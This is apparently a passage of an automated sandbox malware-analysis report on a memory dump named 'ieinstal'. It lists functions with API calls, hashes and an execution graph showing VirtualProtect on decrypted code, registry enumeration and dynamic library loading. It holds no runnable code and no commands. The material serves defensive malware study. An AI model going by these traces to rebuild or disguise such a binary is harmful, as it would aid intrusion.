                                                                                                                            • String ID: F^@
                                                                                                                            • API String ID: 568519121-3652327722
                                                                                                                            • Opcode ID: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                                                                                                                            • Instruction ID: 5049a961280a3e8282645b70ff0f7bf8ff78c54eb6baa8beabb6daf17925e322
                                                                                                                            • Opcode Fuzzy Hash: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                                                                                                                            • Instruction Fuzzy Hash: A701A239900204ABEB209F5ACC81EABB7F8FF44B45F008429E854A7291D3349855CF79
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004018DB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PlacementWindowmemset
                                                                                                                            • String ID: WinPos
                                                                                                                            • API String ID: 4036792311-2823255486
                                                                                                                            • Opcode ID: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                                                                                                                            • Instruction ID: 942d740d8c3c01bede0812328a3a4706cce13fdf2e849e9dfea5930b7654417c
                                                                                                                            • Opcode Fuzzy Hash: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                                                                                                                            • Instruction Fuzzy Hash: D4F096B0600204EFEB04DF55D899F6A33E8EF04701F1440B9F909DB1D1E7B89A04C729
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040DCE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                            • wcsrchr.MSVCRT ref: 0040DCE9
                                                                                                                            • wcscat.MSVCRT ref: 0040DCFF
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileModuleNamewcscatwcsrchr
                                                                                                                            • String ID: _lng.ini
                                                                                                                            • API String ID: 383090722-1948609170
                                                                                                                            • Opcode ID: d415c57d84eb2c5e7c8364d47a353e5cf76fbd17fa45f1fd58641194e3ec22f3
                                                                                                                            • Instruction ID: 003e7a9acac466aac22365d7a2b75ab102816a5e64793edac74c8fca87dba5cc
                                                                                                                            • Opcode Fuzzy Hash: d415c57d84eb2c5e7c8364d47a353e5cf76fbd17fa45f1fd58641194e3ec22f3
                                                                                                                            • Instruction Fuzzy Hash: CEC0129654561430F51526116C03B4E12585F13316F21006BFD01340C3EFAD5705406F
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414B81 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 00414BA4
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: LibraryLoad$AddressDirectoryProcSystemmemsetwcscatwcscpy
                                                                                                                            • String ID: SHGetSpecialFolderPathW$shell32.dll
                                                                                                                            • API String ID: 2773794195-880857682
                                                                                                                            • Opcode ID: c93510e3b53e51a0fa34588ad362a10002a2b390dcacad00d2ab9882db4cd41e
                                                                                                                            • Instruction ID: 520684b8054713cb13715c6c8af1848dbb459e29e8538d47b3508bbaa4bbc045
                                                                                                                            • Opcode Fuzzy Hash: c93510e3b53e51a0fa34588ad362a10002a2b390dcacad00d2ab9882db4cd41e
                                                                                                                            • Instruction Fuzzy Hash: 23D0C7719483019DD7105F65AC19B8336545B50307F204077AC04E66D7EA7CC4C49E1D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0042B9BD Relevance: 5.2, APIs: 4, Instructions: 181COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 438689982-0
                                                                                                                            • Opcode ID: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                                                                                                                            • Instruction ID: 797e1fd24865db6de4a95defd5ca955254a0dec7c2ff798398e4890fb9874305
                                                                                                                            • Opcode Fuzzy Hash: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                                                                                                                            • Instruction Fuzzy Hash: 1B51A2B5A00219EBDF14DF55D882BAEBBB5FF04340F54806AE904AA245E7389E50DBD8
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E820 Relevance: 5.1, APIs: 4, Instructions: 70COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@$memset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1860491036-0
                                                                                                                            • Opcode ID: 96af4030734a5e2f6ef23c2ae6277f6dabdb1784b135b246f31e93988d402875
                                                                                                                            • Instruction ID: 7dda0de82ffecb18951b1be6aadeef514c87807746e1e94fbb8d74dd8fa57bec
                                                                                                                            • Opcode Fuzzy Hash: 96af4030734a5e2f6ef23c2ae6277f6dabdb1784b135b246f31e93988d402875
                                                                                                                            • Instruction Fuzzy Hash: 4F21F3B1A003008FDB219F2B9445912FBE8FF90310B2AC8AF9158CB2B2D7B8C454CF15
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00408ADC Relevance: 5.1, APIs: 4, Instructions: 63COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memcmp.MSVCRT ref: 00408AF3
                                                                                                                              • Part of subcall function 00408A6E: memcmp.MSVCRT ref: 00408A8C
                                                                                                                              • Part of subcall function 00408A6E: memcpy.MSVCRT ref: 00408ABB
                                                                                                                              • Part of subcall function 00408A6E: memcpy.MSVCRT ref: 00408AD0
                                                                                                                            • memcmp.MSVCRT ref: 00408B2B
                                                                                                                            • memcmp.MSVCRT ref: 00408B5C
                                                                                                                            • memcpy.MSVCRT ref: 00408B79
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcmp$memcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 231171946-0
                                                                                                                            • Opcode ID: cadc00b77c621a7338fc70958db42bdaca3a8748761d36a10e112d3b7644ebb1
                                                                                                                            • Instruction ID: 684d12db3f6cc64b33ac9287d8c213aaad77bc3869a84850190dd4d7d2050874
                                                                                                                            • Opcode Fuzzy Hash: cadc00b77c621a7338fc70958db42bdaca3a8748761d36a10e112d3b7644ebb1
                                                                                                                            • Instruction Fuzzy Hash: 8411A9F1600308AAFF202A129D07F5A3658DB21768F25443FFC84641D2FE7DAA50C55E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00409D1F Relevance: 5.0, APIs: 4, Instructions: 32COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcslen$wcscat$wcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1961120804-0
                                                                                                                            • Opcode ID: a9fb2844ceaa9879afdc746da54e0e12922ba62d069c0ab92073ae84f79bc1ad
                                                                                                                            • Instruction ID: 298d28553a3f700387dea6c06157f027a7ba74c69b0fe1c0d14b010c740a3b55
                                                                                                                            • Opcode Fuzzy Hash: a9fb2844ceaa9879afdc746da54e0e12922ba62d069c0ab92073ae84f79bc1ad
                                                                                                                            • Instruction Fuzzy Hash: 3AE0E532000114BADF116FB2D8068CE3B99EF42364751883BFD08D2043EB3ED511869E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Execution Graph

                                                                                                                            Execution Coverage:2.6%
                                                                                                                            Dynamic/Decrypted Code Coverage:20.3%
                                                                                                                            Signature Coverage:0.5%
                                                                                                                            Total number of Nodes:849
                                                                                                                            Total number of Limit Nodes:16
                                                                                                                            execution_graph 34081 43ee43 59 API calls 34083 405e41 14 API calls 33894 429046 memset memset memcpy memset memset 33895 432447 17 API calls 33896 401445 memcpy memcpy DialogBoxParamA 33897 413848 strcmp 33898 41104f 16 API calls 33900 411a2d 14 API calls 34088 424852 76 API calls 33902 401455 ExitProcess GetWindowLongA SetWindowLongA EnumChildWindows EnumChildWindows 34089 432654 15 API calls 33907 40b05a LoadIconA LoadIconA SendMessageA SendMessageA SendMessageA 33910 401060 41 API calls 32984 410663 EnumResourceNamesA 33912 40b865 8 API calls 33913 427867 15 API calls 34092 425e13 87 API calls 33914 404469 22 API calls 34094 41466f 16 API calls 33917 425474 16 API calls 33918 426474 memcpy memset memset memcpy 34096 42e27a 61 API calls 34099 411201 RtlDeleteCriticalSection 33921 444003 __dllonexit 34103 404207 modf 33923 410808 memset SHGetPathFromIDList SendMessageA 33924 42a80b 27 API calls 33868 444a0f 33869 444a26 33868->33869 33871 444a94 33868->33871 33869->33871 33875 444a4e 33869->33875 33872 444a45 33872->33871 33873 444a75 VirtualProtect 33872->33873 33873->33871 33874 444a84 VirtualProtect 33873->33874 33874->33871 33876 444a53 33875->33876 33880 444a94 33876->33880 33882 444a6b 33876->33882 33878 444a5c 33879 444a75 VirtualProtect 33878->33879 33878->33880 33879->33880 33881 444a84 VirtualProtect 33879->33881 33881->33880 33883 444a71 33882->33883 33884 444a75 VirtualProtect 33883->33884 33886 444a94 33883->33886 33885 444a84 VirtualProtect 33884->33885 33884->33886 33885->33886 34105 40420c 12 API calls 34109 409213 10 API calls 33927 411014 15 API calls 34110 404217 26 API calls 34111 403a18 strlen WriteFile 33928 43f41d 17 API calls 33929 43f022 19 API calls 34114 408e21 7 API calls 34115 411222 RtlEnterCriticalSection 34118 43ee2d 112 API calls 34119 411231 RtlLeaveCriticalSection 34120 403632 21 API calls 34123 413e34 19 API calls 33938 427434 76 API calls 33939 423c3b 19 API calls 33943 405cc1 65 API calls 33945 424852 75 API calls 34125 4092cb 17 API calls 34126 4442cf _exit _c_exit 33949 43ecc8 18 API calls 34127 408ed5 7 API calls 34129 405edc SetDlgItemTextA GetDlgItemTextA 33954 424852 79 API calls 33955 424852 76 API calls 34130 427645 42 API calls 33958 4338e6 15 API calls 34132 43eae9 149 API calls 33960 4100ec 42 API calls 33962 426ced memset memset memcpy 34133 40c2ef 43 API calls 34134 40def0 9 API calls 34135 403af4 54 API calls 33967 43e8f9 122 API calls 34136 4016fc NtdllDefWindowProc_A ??2@YAPAXI memset memcpy ??3@YAXPAX 34137 4336fd 17 API calls 34138 403e83 34 API calls 34139 42968a 11 API calls 34140 40da89 42 API calls 33969 425e13 21 API calls 33971 43ec88 119 API calls 33972 426c8e 41 API calls 34141 433a8f 18 API calls 33974 409c8d _strcmpi 34143 44128b memcmp 34148 40aa94 7 API calls 34150 424852 111 API calls 34151 43f698 21 API calls 34156 4276ad 47 API calls 34157 423ab3 18 API calls 34159 43f2b7 17 API calls 33987 43f4ba 18 API calls 34160 424852 85 API calls 34161 4442bb _XcptFilter 33992 444941 ??3@YAXPAX 33994 424852 77 API calls 34162 43ef44 20 API calls 33995 42d14a 22 API calls 34163 404348 19 API calls 33996 40b94b 138 API calls 34165 424852 76 API calls 34166 40c750 59 API calls 33999 414557 memset memset 34000 42523b 79 API calls 34002 40ad58 30 API calls 34004 44315e 44 API calls 34005 41055b WritePrivateProfileStringA GetPrivateProfileStringA 34170 413f5c 18 API calls 34172 43f361 134 API calls 34009 440162 17 API calls 34010 444963 FreeLibrary 34011 429d69 memcpy 34173 40176b ExitProcess 34175 43eb6e 17 API calls 34013 437972 110 API calls 34014 405972 40 API calls 34177 442f71 _mbscpy 34016 403577 20 API calls 34019 44497b ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX ??3@YAXPAX 34022 444905 _onexit __dllonexit 34023 43ed07 20 API calls 32985 410507 32988 4103e0 32985->32988 32987 410527 32989 4103ec 32988->32989 32990 4103fe GetPrivateProfileIntA 32988->32990 32993 4102f8 memset _itoa WritePrivateProfileStringA 32989->32993 32990->32987 32992 4103f9 32992->32987 32993->32992 34179 415b07 memcpy memcpy memcpy memcpy 34180 40af07 8 API calls 34026 414d0c 22 API calls 34027 433513 19 API calls 34184 424852 83 API calls 34031 40a117 memset sprintf SendMessageA 34185 40c319 125 API calls 34186 40b31a memset memset _mbsicmp 34033 410d1d 18 API calls 34190 441727 38 API calls 34035 433126 16 API calls 34192 42732a 24 API calls 32994 44412e 33013 44431c 32994->33013 32996 44413a GetModuleHandleA 32999 44414c __set_app_type __p__fmode __p__commode 32996->32999 32998 4441de 33000 4441e6 __setusermatherr 32998->33000 33001 4441f2 32998->33001 32999->32998 33000->33001 33014 444306 _controlfp 33001->33014 33003 4441f7 _initterm __getmainargs _initterm 33004 44424e GetStartupInfoA 33003->33004 33006 444282 GetModuleHandleA 33004->33006 33015 40cc66 33006->33015 33010 4442b3 _cexit 33012 4442e8 33010->33012 33011 4442ac exit 33011->33010 33013->32996 33014->33003 33066 404a94 LoadLibraryA 33015->33066 33017 40cc86 33017->33010 33017->33011 33018 40cc82 33018->33017 33073 41067e 33018->33073 33020 40cc91 33077 40c9f7 ??2@YAPAXI 33020->33077 33022 40ccbd 33091 407a4b 33022->33091 33027 40cce6 33109 409596 memset 33027->33109 33028 40ccfa 33114 409465 memset 33028->33114 33033 407bbf _strcmpi 33035 40cd10 33033->33035 33034 40cea3 ??3@YAXPAX 33036 40cec1 DeleteObject 33034->33036 33037 40ced5 33034->33037 33039 40cd14 RegDeleteKeyA 33035->33039 33040 40cd29 EnumResourceTypesA 33035->33040 33036->33037 33138 4076d7 ??3@YAXPAX ??3@YAXPAX 33037->33138 33039->33034 33042 40cd51 MessageBoxA 33040->33042 33043 40cd69 33040->33043 33041 40cee6 33139 4045bd ??3@YAXPAX 33041->33139 33042->33034 33045 40cdc2 CoInitialize 33043->33045 33119 40cb90 33043->33119 33136 40c946 strncat memset RegisterClassA CreateWindowExA 33045->33136 33046 40ceef 33140 4076d7 ??3@YAXPAX ??3@YAXPAX 33046->33140 33051 40cdd3 ShowWindow UpdateWindow LoadAcceleratorsA 33137 40bfb1 PostMessageA 33051->33137 33052 40cdc0 33052->33045 33053 40cd83 ??3@YAXPAX 33053->33037 33056 40cda6 DeleteObject 33053->33056 33056->33037 33058 40ce1b GetMessageA 33059 40ce9d 33058->33059 33060 40ce2f 33058->33060 33059->33034 33061 40ce35 TranslateAccelerator 33060->33061 33063 40ce67 IsDialogMessage 33060->33063 33064 40ce5b IsDialogMessage 33060->33064 33061->33060 33062 40ce8f GetMessageA 33061->33062 33062->33059 33062->33061 33063->33062 33065 40ce79 TranslateMessage DispatchMessageA 33063->33065 33064->33062 33064->33063 33065->33062 33067 404ae3 33066->33067 33068 404abf GetProcAddress 33066->33068 33071 404af7 MessageBoxA 33067->33071 33072 404b0e 33067->33072 33069 404ad8 FreeLibrary 33068->33069 33070 404acf 33068->33070 33069->33067 33070->33069 33071->33018 33072->33018 33074 410687 LoadLibraryA 33073->33074 33075 4106ac 33073->33075 33074->33075 33076 41069b GetProcAddress 33074->33076 33075->33020 33076->33075 33078 40ca28 ??2@YAPAXI 33077->33078 33080 40ca46 33078->33080 33081 40ca4d 33078->33081 33148 40400d 6 API calls 33080->33148 33083 40ca86 33081->33083 33084 40ca79 DeleteObject 33081->33084 33141 406e26 33083->33141 33084->33083 33086 40ca8b 33144 4019b4 33086->33144 33089 4019b4 strncat 33090 40cadf _mbscpy 33089->33090 33090->33022 33150 4076d7 ??3@YAXPAX ??3@YAXPAX 33091->33150 33095 4077ae malloc memcpy ??3@YAXPAX ??3@YAXPAX 33098 407a86 33095->33098 33096 407b6b 33104 407b93 33096->33104 33163 4077ae 33096->33163 33098->33095 33098->33096 33099 407b09 ??3@YAXPAX 33098->33099 33098->33104 33154 4076fd 7 API calls 33098->33154 33155 406cce 33098->33155 33099->33098 33151 4077e4 33104->33151 33105 407bbf 33106 407be6 33105->33106 33107 407bc7 33105->33107 33106->33027 33106->33028 33107->33106 33108 407bd0 _strcmpi 33107->33108 33108->33106 33108->33107 33169 409570 33109->33169 33111 4095c5 33174 4094a2 33111->33174 33115 409570 3 API calls 33114->33115 33116 409494 33115->33116 33194 4093dd 33116->33194 33208 4023a9 33119->33208 33125 40cbf4 33297 40cafa 7 API calls 33125->33297 33126 40cbef 33129 40cc60 33126->33129 33249 40c12b memset GetModuleFileNameA strrchr 33126->33249 33129->33052 33129->33053 33132 40cc0e 33276 40ad59 33132->33276 33136->33051 33137->33058 33138->33041 33139->33046 33140->33017 33149 406d65 memset _mbscpy 33141->33149 33143 406e3d CreateFontIndirectA 33143->33086 33145 4019e0 33144->33145 33146 4019c1 strncat 33145->33146 33147 4019e4 memset LoadIconA 33145->33147 33146->33145 33147->33089 33148->33081 33149->33143 33150->33098 33152 4077f4 33151->33152 33153 4077ea ??3@YAXPAX 33151->33153 33152->33105 33153->33152 33154->33098 33156 406cd5 malloc 33155->33156 33157 406d1b 33155->33157 33159 406d11 33156->33159 33160 406cf6 33156->33160 33157->33098 33159->33098 33161 406d0a ??3@YAXPAX 33160->33161 33162 406cfa memcpy 33160->33162 33161->33159 33162->33161 33164 4077c7 33163->33164 33165 4077bc ??3@YAXPAX 33163->33165 33167 406cce 3 API calls 33164->33167 33166 4077d2 33165->33166 33168 4076fd 7 API calls 33166->33168 33167->33166 33168->33104 33185 406d34 GetModuleFileNameA 33169->33185 33171 409576 strrchr 33172 409585 33171->33172 33173 409588 _mbscat 33171->33173 33172->33173 33173->33111 33186 4446d0 33174->33186 33179 40907d 3 API calls 33180 4094ea EnumResourceNamesA EnumResourceNamesA _mbscpy memset 33179->33180 33181 409536 LoadStringA 33180->33181 33182 40954c 33181->33182 33182->33181 33184 409564 33182->33184 33193 4090eb memset GetPrivateProfileStringA WritePrivateProfileStringA _itoa 33182->33193 33184->33034 33185->33171 33187 4094af _mbscpy _mbscpy 33186->33187 33188 40907d 33187->33188 33189 4446d0 33188->33189 33190 40908a memset GetPrivateProfileStringA 33189->33190 33191 4090e5 33190->33191 33192 4090d5 WritePrivateProfileStringA 33190->33192 33191->33179 33192->33191 33193->33182 33204 406d1f GetFileAttributesA 33194->33204 33196 4093e6 33197 40945f 33196->33197 33198 4093eb _mbscpy _mbscpy GetPrivateProfileIntA 33196->33198 33197->33033 33205 408fe9 GetPrivateProfileStringA 33198->33205 33200 40943a 33206 408fe9 GetPrivateProfileStringA 33200->33206 33202 40944b 33207 408fe9 GetPrivateProfileStringA 33202->33207 33204->33196 33205->33200 33206->33202 33207->33197 33299 409989 33208->33299 33211 401e60 memset 33338 41072b 33211->33338 33214 401eb9 33368 406e81 strlen _mbscat _mbscpy _mbscat 33214->33368 33215 401ecb 33353 406d1f GetFileAttributesA 33215->33353 33218 401edd strlen strlen 33220 401f1f 33218->33220 33221 401f0c 33218->33221 33354 406d1f GetFileAttributesA 33220->33354 33369 406e81 strlen _mbscat _mbscpy _mbscat 33221->33369 33224 401f2c 33355 401c30 33224->33355 33227 401c30 7 API calls 33230 401f6c 33227->33230 33229 401f88 33231 401f93 memset 33229->33231 33232 40217e 33229->33232 33367 410411 RegOpenKeyExA 33230->33367 33370 4104d7 RegEnumKeyExA 33231->33370 33234 40219f _strcmpi 33232->33234 33235 40218c ExpandEnvironmentStringsA 33232->33235 33234->33125 33234->33126 33379 406d1f GetFileAttributesA 33235->33379 33237 402175 RegCloseKey 33237->33232 33238 401fd0 atoi 33239 401fe6 memset memset sprintf 33238->33239 33247 401fc0 33238->33247 33371 410493 33239->33371 33242 40215c 33242->33237 33243 40206d memset memset strlen strlen 33243->33247 33244 4020d4 strlen strlen 33244->33247 33245 406e81 strlen _mbscat _mbscpy _mbscat 33245->33247 33246 406d1f GetFileAttributesA 33246->33247 33247->33237 33247->33238 33247->33242 33247->33243 33247->33244 33247->33245 33247->33246 33248 40215e _mbscpy 33247->33248 33378 4104d7 RegEnumKeyExA 33247->33378 33248->33237 33250 40c17b 33249->33250 33251 40c17e _mbscat _mbscpy _mbscpy 33249->33251 33250->33251 33252 40c1f6 33251->33252 33253 40c26b 33252->33253 33254 40c25b GetWindowPlacement 33252->33254 33255 40c291 33253->33255 33400 4017d1 GetSystemMetrics GetSystemMetrics SetWindowPos 33253->33400 33254->33253 33393 40989e 33255->33393 33259 40b783 33260 40b7e2 33259->33260 33265 40b797 33259->33265 33403 406a00 LoadCursorA SetCursor 33260->33403 33262 40b79e _mbsicmp 33262->33265 33263 40b7e7 33404 410411 RegOpenKeyExA 33263->33404 33405 40472f 33263->33405 33413 404780 33263->33413 33416 403c03 33263->33416 33492 410166 33263->33492 33264 40b7fb 33266 407bbf _strcmpi 33264->33266 33265->33260 33265->33262 33495 40b340 10 API calls 33265->33495 33269 40b80b 33266->33269 33267 40b855 SetCursor 33267->33132 33269->33267 33270 40b84c qsort 33269->33270 33270->33267 33277 40ad6d 33276->33277 33862 409b5a SendMessageA ??2@YAPAXI ??3@YAXPAX 33276->33862 33279 40ad75 33277->33279 33280 40ad7e GetStdHandle 33277->33280 33861 406ab8 CreateFileA 33279->33861 33281 40ad7b 33280->33281 33283 40ad94 33281->33283 33284 40ae8c 33281->33284 33863 406a00 LoadCursorA SetCursor 33283->33863 33867 406b15 9 API calls 33284->33867 33287 40ae95 33298 40c2d6 28 API calls 33287->33298 33288 40ada1 33289 40ade6 33288->33289 33295 40ae00 33288->33295 33864 40a2db strlen WriteFile 33288->33864 33289->33295 33865 40a3f8 12 API calls 33289->33865 33292 40ae35 33293 40ae75 CloseHandle 33292->33293 33294 40ae7e SetCursor 33292->33294 33293->33294 33294->33287 33295->33292 33866 406b15 9 API calls 33295->33866 33297->33126 33298->33129 33311 40979f 33299->33311 33302 4099ed memcpy memcpy 33303 409a47 33302->33303 33303->33302 33304 409a85 ??2@YAPAXI ??2@YAPAXI 33303->33304 33306 408b27 12 API calls 33303->33306 33305 409af8 33304->33305 33308 409ac1 ??2@YAPAXI 33304->33308 33321 409909 33305->33321 33306->33303 33308->33305 33310 4023b8 33310->33211 33312 4097b1 33311->33312 33313 4097aa ??3@YAXPAX 33311->33313 33314 4097b8 ??3@YAXPAX 33312->33314 33315 4097bf 33312->33315 33313->33312 33314->33315 33316 4097c9 ??3@YAXPAX 33315->33316 33318 4097d0 33315->33318 33316->33318 33317 4097f0 ??2@YAPAXI ??2@YAPAXI 33317->33302 33318->33317 33319 4097e0 ??3@YAXPAX 33318->33319 33320 4097e9 ??3@YAXPAX 33318->33320 33319->33320 33320->33317 33322 4077e4 ??3@YAXPAX 33321->33322 33323 409912 33322->33323 33324 4077e4 ??3@YAXPAX 33323->33324 33325 40991a 33324->33325 33326 4077e4 ??3@YAXPAX 33325->33326 33327 409922 33326->33327 33328 4077e4 ??3@YAXPAX 33327->33328 33329 40992a 33328->33329 33330 4077ae 4 API calls 33329->33330 33331 40993d 33330->33331 33332 4077ae 4 API calls 33331->33332 33333 409947 33332->33333 33334 4077ae 4 API calls 33333->33334 33335 409951 33334->33335 33336 4077ae 4 API calls 33335->33336 33337 40995b 33336->33337 33337->33310 33339 41067e 2 API calls 33338->33339 33340 41073a 33339->33340 33341 41076d memset 33340->33341 33380 406e4c 33340->33380 33343 41078d 33341->33343 33383 410411 RegOpenKeyExA 33343->33383 33345 4107ba 33347 4107ef _mbscpy 33345->33347 33384 4106ad _mbscpy 33345->33384 33348 401e95 strlen strlen 33347->33348 33348->33214 33348->33215 33350 4107cb 33385 410452 RegQueryValueExA 33350->33385 33352 4107e3 RegCloseKey 33352->33347 33353->33218 33354->33224 33386 410411 RegOpenKeyExA 33355->33386 33357 401c4b 33358 401cac 33357->33358 33387 410452 RegQueryValueExA 33357->33387 33358->33227 33358->33230 33360 401c69 33361 401c70 strchr 33360->33361 33362 401ca3 RegCloseKey 33360->33362 33361->33362 33363 401c84 strchr 33361->33363 33362->33358 33363->33362 33364 401c93 33363->33364 33388 406ca4 strlen 33364->33388 33366 401ca0 33366->33362 33367->33229 33368->33215 33369->33220 33370->33247 33391 410411 RegOpenKeyExA 33371->33391 33373 4104a9 33374 4104d2 33373->33374 33392 410452 RegQueryValueExA 33373->33392 33374->33247 33376 4104c1 RegCloseKey 33376->33374 33378->33247 33379->33234 33381 406e5b GetVersionExA 33380->33381 33382 406e6c 33380->33382 33381->33382 33382->33341 33382->33348 33383->33345 33384->33350 33385->33352 33386->33357 33387->33360 33389 406cb5 33388->33389 33390 406cb8 memcpy 33388->33390 33389->33390 33390->33366 33391->33373 33392->33376 33394 4098ad 33393->33394 33396 4098bb 33393->33396 33401 409669 memset SendMessageA 33394->33401 33397 409906 33396->33397 33398 4098f8 33396->33398 33397->33259 33402 4095d9 SendMessageA 33398->33402 33400->33255 33401->33396 33402->33397 33403->33263 33404->33264 33406 404780 FreeLibrary 33405->33406 33407 404736 LoadLibraryA 33406->33407 33408 404747 GetProcAddress 33407->33408 33409 404769 33407->33409 33408->33409 33411 40475f 33408->33411 33410 40477c 33409->33410 33412 404780 FreeLibrary 33409->33412 33410->33264 33411->33409 33412->33410 33414 404794 FreeLibrary 33413->33414 33415 40479e 33413->33415 33414->33415 33415->33264 33417 410166 FreeLibrary 33416->33417 33418 403c1d LoadLibraryA 33417->33418 33419 403c61 33418->33419 33420 403c31 GetProcAddress 33418->33420 33422 410166 FreeLibrary 33419->33422 33420->33419 33421 403c4b 33420->33421 33421->33419 33425 403c58 33421->33425 33423 403c68 33422->33423 33424 40472f 3 API calls 33423->33424 33426 403c73 33424->33426 33425->33423 33496 4036d7 33426->33496 33429 4036d7 26 API calls 33430 403c87 33429->33430 33431 4036d7 26 API calls 33430->33431 33432 403c91 33431->33432 33433 4036d7 26 API calls 33432->33433 33434 403c9b 33433->33434 33508 408344 33434->33508 33442 403cd2 33443 403ce4 33442->33443 33692 402bc3 39 API calls 33442->33692 33557 410411 RegOpenKeyExA 33443->33557 33446 403cf7 33447 403d09 33446->33447 33693 402bc3 39 API calls 33446->33693 33558 402c4f 33447->33558 33451 406e4c GetVersionExA 33452 403d1e 33451->33452 33576 410411 RegOpenKeyExA 33452->33576 33454 403d3e 33455 403d4e 33454->33455 33694 402b14 46 API calls 33454->33694 33577 410411 RegOpenKeyExA 33455->33577 33458 403d74 33459 403d84 33458->33459 33695 402b14 46 API calls 33458->33695 33578 410411 RegOpenKeyExA 33459->33578 33462 403daa 33463 403dba 33462->33463 33696 402b14 46 API calls 33462->33696 33579 41017d 33463->33579 33467 404780 FreeLibrary 33468 403dd5 33467->33468 33583 402fcd 33468->33583 33471 402fcd 34 API calls 33472 403ded 33471->33472 33599 4032a9 33472->33599 33481 403e28 33482 403e60 33481->33482 33483 403e33 _mbscpy 33481->33483 33646 40f478 33482->33646 33698 40eca9 303 API calls 33483->33698 33493 410171 FreeLibrary 33492->33493 